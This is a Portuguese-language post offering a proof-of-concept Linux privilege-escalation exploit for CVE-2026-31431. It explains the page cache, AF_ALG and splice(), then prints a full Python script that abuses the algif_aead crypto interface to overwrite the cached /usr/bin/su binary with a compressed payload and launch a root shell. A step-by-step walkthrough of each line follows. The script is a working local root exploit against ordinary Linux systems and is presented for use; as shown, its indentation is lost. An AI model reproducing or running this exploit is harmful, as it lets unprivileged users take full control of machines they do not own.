
Exploit PoC para o CVE-2026-31431 que utiliza AF_ALG e splice() para sobrescrever o cache de páginas do Linux e modificar o /usr/bin/su na memória, elevando usuários sem privilégios a root.
Em vez de o sistema buscar arquivos diretamente do disco rígido físico lento—o que desperdiça muito tempo—o sistema Linux cria uma cópia temporária do arquivo dentro da RAM, conhecida como Page Cache. Isso permite que o sistema execute e leia o arquivo quase instantaneamente, inteiramente dentro da RAM.
Esse processo depende de duas funções-chave:
AF_ALG: Responsável por lidar com operações de criptografia para arquivos e dados dentro do kernel.
splice(): Responsável por mover dados diretamente de um local de memória para outro em velocidades extremamente altas (Zero-Copy).
O exploit manipula essas duas funções. Quando o sistema tenta processar e executar o arquivo na memória, ele encontra código de payload injetado. Como o próprio Kernel Linux gerencia a memória, ele nunca suspeita que uma falha lógica ou modificação ilegal ocorreu ali.
Em resumo: A vulnerabilidade altera a memória para contornar a criptografia/verificações no arquivo alvo. Em seguida, ela sobrescreve instruções específicas de 4 bytes dentro da memória para que qualquer usuário sem privilégios receba instantaneamente acesso Root—com toda a operação executada diretamente pelo Kernel.
Python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
e = zlib.decompress(d("78daab77..."))
Esta linha extrai o payload hexadecimal compactado. Você pode pensar nesse payload como o vetor de injeção projetado para conceder privilégios de Root. Ela converte os dados hexadecimais em bytes brutos para que possam ser gravados na RAM e contornar a autenticação por senha.
a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)
O script abre um handle somente leitura para o binário /usr/bin/su (o executável responsável pela troca de privilégios do usuário). Ele configura um socket AF_ALG (ID do AF_ALG = 38) e usa a chamada de sistema splice() para transmitir as páginas de memória do /usr/bin/su diretamente para o mecanismo de criptografia do kernel.
Sobrescrita de Memória do Kernel:
Devido à falha no módulo de criptografia do kernel (algif_aead), o Kernel é enganado durante a operação. Em vez de gravar a saída processada em um buffer temporário normal, ele grava o payload diretamente sobre a página do binário /usr/bin/su armazenada na RAM (Page Cache).
while i < len(e): c(f, i, e[i:i+4]); i += 4 & g.system("su")
O script executa um loop que grava o payload 4 bytes por vez em offsets de memória consecutivos. Quando o loop termina de corrigir a instrução na RAM, ele executa su. Como o Kernel agora executa o código modificado na memória, as verificações de senha são contornadas, concedendo acesso Root a qualquer pessoa que execute o comando